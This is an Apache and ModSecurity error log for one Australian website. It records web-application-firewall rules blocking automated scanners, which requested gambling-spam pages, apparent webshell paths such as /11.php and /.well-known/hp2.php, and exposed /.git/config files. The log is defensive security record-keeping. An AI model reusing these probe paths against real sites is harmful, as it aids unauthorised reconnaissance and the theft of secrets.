[Sat Mar 14 01:29:21.970431 2026] [:error] [pid 48070:tid 48086] [client 217.182.194.16:52574] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abRJcUIvrhMS5BVHxNkd-AAAAA4"]
[Sat Mar 14 01:29:24.730612 2026] [:error] [pid 48070:tid 48080] [client 217.182.194.16:52578] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "abRJdEIvrhMS5BVHxNkeBQAAAAg"]
[Sat Mar 14 01:29:27.589485 2026] [:error] [pid 47878:tid 47949] [client 217.182.194.16:52590] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "abRJd38jymmmpr1jcBetYgAAAEo"]
[Sat Mar 14 01:29:29.933185 2026] [:error] [pid 48070:tid 48077] [client 217.182.194.16:43620] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "abRJeUIvrhMS5BVHxNkeEgAAAAU"]
[Sat Mar 14 01:29:32.670849 2026] [:error] [pid 47905:tid 48016] [client 217.182.194.16:43632] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "abRJfBaYZayP4o4wpJcjHgAAAVc"]
[Sat Mar 14 01:29:35.392410 2026] [:error] [pid 47905:tid 48015] [client 217.182.194.16:43640] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "abRJfxaYZayP4o4wpJcjKAAAAVY"]
[Sat Mar 14 01:29:37.982345 2026] [:error] [pid 48070:tid 48092] [client 217.182.194.16:43642] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "abRJgUIvrhMS5BVHxNkeGgAAABQ"]
[Sat Mar 14 01:30:25.042190 2026] [:error] [pid 47891:tid 47986] [client 217.182.194.16:60370] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "abRJsfchNnuMqi7I_WH4vQAAAJQ"]
[Sat Mar 14 01:30:27.420427 2026] [:error] [pid 48070:tid 48083] [client 217.182.194.16:41790] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "abRJs0IvrhMS5BVHxNkerQAAAAs"]
[Sat Mar 14 01:30:29.762337 2026] [:error] [pid 47891:tid 47989] [client 217.182.194.16:33408] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "abRJtfchNnuMqi7I_WH4wwAAAJc"]
[Sat Mar 14 01:30:32.495898 2026] [:error] [pid 48070:tid 48090] [client 217.182.194.16:33410] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "abRJuEIvrhMS5BVHxNkevwAAABI"]
[Sat Mar 14 01:30:34.781708 2026] [:error] [pid 48070:tid 48080] [client 217.182.194.16:33424] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "abRJukIvrhMS5BVHxNkexwAAAAg"]
[Sat Mar 14 01:30:37.351999 2026] [:error] [pid 47905:tid 48002] [client 217.182.194.16:33428] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "abRJvRaYZayP4o4wpJcjcQAAAUk"]
[Sat Mar 14 01:30:39.810106 2026] [:error] [pid 47878:tid 47963] [client 217.182.194.16:36732] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "abRJv38jymmmpr1jcBetrgAAAFg"]
[Sat Mar 14 01:30:42.340200 2026] [:error] [pid 47905:tid 48012] [client 217.182.194.16:36744] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "abRJwhaYZayP4o4wpJcjeAAAAVM"]
[Sat Mar 14 01:30:44.945377 2026] [:error] [pid 47905:tid 48011] [client 217.182.194.16:36752] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "abRJxBaYZayP4o4wpJcjfQAAAVI"]
[Sat Mar 14 01:30:47.388167 2026] [:error] [pid 47878:tid 47954] [client 217.182.194.16:36758] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "abRJx38jymmmpr1jcBettgAAAE8"]
[Sat Mar 14 01:30:49.835542 2026] [:error] [pid 48070:tid 48094] [client 217.182.194.16:52522] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "abRJyUIvrhMS5BVHxNke5AAAABY"]
[Sat Mar 14 01:30:52.473707 2026] [:error] [pid 47891:tid 47990] [client 217.182.194.16:52536] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "abRJzPchNnuMqi7I_WH44QAAAJg"]
[Sat Mar 14 01:30:55.091368 2026] [:error] [pid 48070:tid 48095] [client 217.182.194.16:52548] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "abRJz0IvrhMS5BVHxNke7wAAABc"]
[Sat Mar 14 01:30:57.456411 2026] [:error] [pid 48070:tid 48075] [client 217.182.194.16:52562] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "abRJ0UIvrhMS5BVHxNke9QAAAAM"]
[Sat Mar 14 01:30:59.850902 2026] [:error] [pid 48070:tid 48074] [client 217.182.194.16:46414] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "abRJ00IvrhMS5BVHxNke-wAAAAI"]
[Sat Mar 14 01:31:02.862528 2026] [:error] [pid 47878:tid 47956] [client 217.182.194.16:46422] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "abRJ1n8jymmmpr1jcBetzgAAAFE"]
[Sat Mar 14 01:31:05.250104 2026] [:error] [pid 48070:tid 48081] [client 217.182.194.16:46432] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "abRJ2UIvrhMS5BVHxNkfFQAAAAk"]
[Sat Mar 14 01:31:07.821775 2026] [:error] [pid 48070:tid 48084] [client 217.182.194.16:46448] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "abRJ20IvrhMS5BVHxNkfHQAAAAw"]
[Sat Mar 14 01:31:10.354521 2026] [:error] [pid 47905:tid 48007] [client 217.182.194.16:55582] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "abRJ3haYZayP4o4wpJcjjgAAAU4"]
[Sat Mar 14 01:31:12.903720 2026] [:error] [pid 47905:tid 47998] [client 217.182.194.16:55590] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "abRJ4BaYZayP4o4wpJcjlQAAAUU"]
[Sat Mar 14 01:31:15.351587 2026] [:error] [pid 47891:tid 47983] [client 217.182.194.16:55600] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "abRJ4_chNnuMqi7I_WH47AAAAJE"]
[Sat Mar 14 01:31:17.845990 2026] [:error] [pid 47891:tid 47969] [client 217.182.194.16:55610] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "abRJ5fchNnuMqi7I_WH49QAAAIM"]
[Sat Mar 14 01:31:20.469368 2026] [:error] [pid 47891:tid 47990] [client 217.182.194.16:47024] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "abRJ6PchNnuMqi7I_WH4-wAAAJg"]
[Sat Mar 14 01:32:04.817830 2026] [:error] [pid 47905:tid 48010] [client 217.182.194.16:47036] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "abRKFBaYZayP4o4wpJcj8wAAAVE"]
[Sat Mar 14 01:32:07.159950 2026] [:error] [pid 47891:tid 47966] [client 217.182.194.16:57232] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "abRKF_chNnuMqi7I_WH5HwAAAIA"]
[Sat Mar 14 01:32:09.692854 2026] [:error] [pid 47878:tid 47948] [client 217.182.194.16:40206] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abRKGX8jymmmpr1jcBeuKwAAAEk"]
[Sat Mar 14 01:32:12.390007 2026] [:error] [pid 47891:tid 47971] [client 217.182.194.16:40208] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "abRKHPchNnuMqi7I_WH5NAAAAIU"]
[Sat Mar 14 01:32:15.045775 2026] [:error] [pid 48070:tid 48094] [client 217.182.194.16:40212] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "abRKH0IvrhMS5BVHxNkgeQAAABY"]
[Sat Mar 14 01:32:17.594865 2026] [:error] [pid 47878:tid 47954] [client 217.182.194.16:40220] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "abRKIX8jymmmpr1jcBeuNwAAAE8"]
[Sat Mar 14 01:32:19.882669 2026] [:error] [pid 47891:tid 47980] [client 217.182.194.16:42218] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "abRKI_chNnuMqi7I_WH5SAAAAI4"]
[Sat Mar 14 01:32:22.279000 2026] [:error] [pid 48070:tid 48081] [client 217.182.194.16:42222] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "abRKJkIvrhMS5BVHxNkgkgAAAAk"]
[Sat Mar 14 01:32:24.693279 2026] [:error] [pid 47891:tid 47974] [client 217.182.194.16:42230] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "abRKKPchNnuMqi7I_WH5TQAAAIg"]
[Sat Mar 14 01:32:27.274370 2026] [:error] [pid 48070:tid 48091] [client 217.182.194.16:42244] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "abRKK0IvrhMS5BVHxNkgnwAAABM"]
[Sat Mar 14 01:32:29.694399 2026] [:error] [pid 47905:tid 47997] [client 217.182.194.16:35254] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "abRKLRaYZayP4o4wpJckbwAAAUQ"]
[Sat Mar 14 01:32:32.209533 2026] [:error] [pid 47878:tid 47963] [client 217.182.194.16:35264] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "abRKMH8jymmmpr1jcBeuVQAAAFg"]
[Sat Mar 14 01:32:34.694801 2026] [:error] [pid 48070:tid 48077] [client 217.182.194.16:35268] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "abRKMkIvrhMS5BVHxNkgtAAAAAU"]
[Sat Mar 14 01:56:49.997178 2026] [:error] [pid 47878:tid 47952] [client 20.151.4.179:39194] [client 20.151.4.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "abRP4X8jymmmpr1jcBezrAAAAE0"]
[Sat Mar 14 01:56:50.821789 2026] [:error] [pid 47891:tid 47967] [client 20.151.4.179:39181] [client 20.151.4.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "abRP4vchNnuMqi7I_WEEMQAAAIE"]
[Sat Mar 14 01:56:51.648088 2026] [:error] [pid 47891:tid 47986] [client 20.151.4.179:39223] [client 20.151.4.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "abRP4_chNnuMqi7I_WEEMgAAAJQ"]
[Sat Mar 14 01:56:52.472589 2026] [:error] [pid 48070:tid 48087] [client 20.151.4.179:39365] [client 20.151.4.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "abRP5EIvrhMS5BVHxNkspgAAAA8"]
[Sat Mar 14 02:14:40.407597 2026] [autoindex:error] [pid 47878:tid 47942] [client 142.93.208.146:51981] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Mar 14 02:37:07.421151 2026] [:error] [pid 47905:tid 48001] [client 4.204.233.55:61214] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/hp2.php"] [unique_id "abRZUxaYZayP4o4wpJc-2QAAAUg"]
[Sat Mar 14 02:37:08.244515 2026] [:error] [pid 47905:tid 48011] [client 4.204.233.55:3817] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/hp2.php"] [unique_id "abRZVBaYZayP4o4wpJc-2wAAAVI"]
[Sat Mar 14 02:37:09.070397 2026] [:error] [pid 47891:tid 47967] [client 4.204.233.55:61260] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/hp2.php"] [unique_id "abRZVfchNnuMqi7I_WEb9wAAAIE"]
[Sat Mar 14 02:37:09.894726 2026] [:error] [pid 47891:tid 47982] [client 4.204.233.55:54906] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/hp2.php"] [unique_id "abRZVfchNnuMqi7I_WEb_QAAAJA"]
[Sat Mar 14 02:47:47.973423 2026] [:error] [pid 47878:tid 47945] [client 35.92.185.48:60583] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "abRb038jymmmpr1jcBfBkQAAAEY"]
[Sat Mar 14 02:47:47.973425 2026] [:error] [pid 48070:tid 48092] [client 35.92.185.48:60591] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/admin/.git/config"] [unique_id "abRb00IvrhMS5BVHxNk7QwAAABQ"]
[Sat Mar 14 02:47:47.973783 2026] [:error] [pid 47905:tid 48007] [client 35.92.185.48:60584] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/api/.git/config"] [unique_id "abRb0xaYZayP4o4wpJdCbAAAAU4"]
